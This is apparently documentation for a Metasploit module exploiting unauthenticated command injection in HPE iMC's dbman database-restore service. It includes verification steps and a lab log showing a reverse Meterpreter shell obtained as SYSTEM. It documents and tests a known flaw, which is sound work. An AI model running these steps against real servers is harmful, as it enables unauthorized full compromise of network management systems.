## Description

  This module exploits a remote command execution vulnerability in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.

  The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.


## Vulnerable Application

  [HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.

  This module has been tested successfully on:

  * iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).

  Installer:

  * [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)


## Verification Steps

  1. Start `msfconsole`
  2. Do: `use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce`
  3. Do: `set RHOST <IP>`
  4. Do: `run`
  5. You should get a session


## Scenarios

  ```
  msf > use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce 
  msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set rhost 172.16.191.166
  rhost => 172.16.191.166
  msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set verbose true
  verbose => true
  msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > check
  [*] 172.16.191.166:2810 The target service is running, but could not be validated.
  msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > run

  [*] Started reverse TCP handler on 172.16.191.238:4444 
  [*] 172.16.191.166:2810 - Powershell command length: 6123
  [*] 172.16.191.166:2810 - Sending payload (6123 bytes)...
  [*] Sending stage (179779 bytes) to 172.16.191.166
  [*] Meterpreter session 1 opened (172.16.191.238:4444 -> 172.16.191.166:49176) at 2018-01-05 05:30:48 -0500

  meterpreter > getuid
  Server username: NT AUTHORITY\SYSTEM
  smeterpreter > sysinfo 
  Computer        : WIN-SGBSD5TQUTQ
  OS              : Windows 7 (Build 7601, Service Pack 1).
  Architecture    : x64
  System Language : en_US
  Domain          : WORKGROUP
  Logged On Users : 1
  Meterpreter     : x86/windows
  ```

